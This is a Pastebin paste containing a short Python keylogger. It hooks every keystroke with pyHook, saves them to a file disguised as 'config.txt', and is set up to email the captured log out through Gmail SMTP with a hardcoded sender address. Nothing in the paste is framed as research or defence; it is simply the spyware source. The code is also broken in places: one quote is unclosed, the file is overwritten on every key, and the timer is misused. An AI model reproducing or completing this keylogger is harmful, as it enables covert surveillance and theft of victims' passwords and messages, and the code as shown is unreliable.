Advertisement
Guest User

Untitled

a guest
May 30th, 2017
538
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.70 KB | None | 0 0
  1. import pythoncom, pyHook, smtplib, time, threading
  2.  
  3.  
  4. def OnKeyboardEvent(event):
  5. File = open('config.txt', 'w')
  6. keyPress = event.Key
  7. File.write(keyPress)
  8.  
  9. return True
  10.  
  11.  
  12. def sendLog():
  13. File.close()
  14. File = open('config.txt', 'r')
  15. msg = File.read()
  16. gmailUser = 'zachctown@gmail.com'
  17. gmailPassword = '
  18. recip = "passwordhere"
  19. mailServer = smtplib.SMTP('smtp.gmail.com', 587)
  20. mailServer.ehlo()
  21. mailServer.starttls()
  22. mailServer.ehlo()
  23. mailServer.login(gmailUser, gmailPassword)
  24. mailServer.sendmail(gmailUser, recip, msg)
  25.  
  26.  
  27. hm = pyHook.HookManager()
  28. hm.KeyDown = OnKeyboardEvent
  29. hm.HookKeyboard()
  30.  
  31. t = threading.Timer(10.0, sendLog())
  32. t.start()
  33.  
  34.  
  35. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement